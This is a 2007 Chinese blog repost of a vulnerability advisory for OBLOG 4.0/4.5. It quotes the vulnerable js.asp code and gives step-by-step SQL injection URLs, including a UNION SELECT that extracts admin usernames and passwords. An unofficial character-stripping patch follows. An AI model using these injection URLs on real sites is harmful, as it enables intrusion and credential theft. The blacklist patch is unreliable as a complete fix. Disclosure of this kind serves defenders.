数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



OBLOG4.0,4.5版本通杀漏洞 及修补方法
樱木花盗 发表于 2007-4-24 5:27:37

鬼仔注:已测试,要在源码中看MD5

来源:Deepen Study

Neeao:经测试漏洞确实存在,请广大使用此Blog的朋友们小心了!

漏洞文件:js.asp
<%
Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Request(”n”))
if n=0 then n=1
select case CInt(Request(”j”))
case 1
call tongji()
case 2
call topuser()
case 3
call adduser()
case 4
call listclass()
case 5
call showusertype()
case 6
call listbestblog()
case 7
call showlogin()
case 8
call showplace()
case 9
call showphoto()
case 10
call showblogstars()
Case 11
Call show_hotblog()
Case 12
Call show_teams()
Case 13
Call show_posts()
Case 14
Call show_hottag()
case 0
call showlog()
end select
****************省略部分代码******************
Sub show_posts()
Dim teamid,postnum,l,u,t
teamid=Request(”tid”)
postnum=n
l=CInt(Request(”l”))
u=CInt(Request(”u”))
t=CInt(Request(”t”))
Dim rs,sql,sRet,sAddon
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost

Where idepth=0 and isdel=0 ”
If teamid<>“” And teamid<>“0″ Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql & ” And teamid In (” & teamid & “) ”
End If
Sql=Sql & ” Order by postid Desc”
Set rs=oblog.Execute(Sql)
sRet=”


Do While Not rs.Eof
sAddon=”"
* sRet=sRet & “ ” & oblog.Filt_html(Left(rs(2),l)) & “”
If u=1 Then sAddon=rs(4)
if t=1 Then
If sAddon<>“” Then sAddon=sAddon & “,”
sAddon=sAddon & rs(3)
End If
If sAddon<>“” Then sAddon=”(” & sAddon & “)”
sRet=sRet & sAddon & “


rs.Movenext
Loop
Set rs = Nothing
sRet=sRet & “


Response.write oblog.htm2js (sRet,True)
End Sub
调用show_posts()过程必须要符合上面的参数n=1,j=13
(” & teamid & “)
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常
猜管理员表名
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1

Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost

Where idepth=0 and isdel=0 ”

http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin

where id=(1

document.write(’

*

‘);

gid=1跟pid=2里的1,2就是了 直接替换里面的1,2为username,password

http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select username,password,3,4,5,6 from oblog_admin where id=(1

 

 

OBLOG4.0,4.5版本js.asp漏洞非官方补丁

by:Neeao

这两天出去玩了,刚回来就看到了这个漏洞
主要还是变量没过滤引起的,漏洞原理就不说了,因为所在公司也是用的这个blog,就修补了下!
把我的修补方法公布一下,朋友们也可以参考下。
搜索:teamid=Request(”tid”)这个,将这个替换为:
teamid=Replace(Replace(request("tid"),"'",""),")",""),
就是将一些危险字符过滤下就ok了!
注意一下,下面的这段代码:

teamid=Replace(teamid,”|”,”,”)

是将多个tid通过“|”链接起来,然后在这里还原为用“,”链接,以便下面的sql语句中直接使用:

If teamid<>“” And teamid<>“0″ Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql & ” And teamid In (” & teamid & “) ”
End If

阅读全文 | 回复(0) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.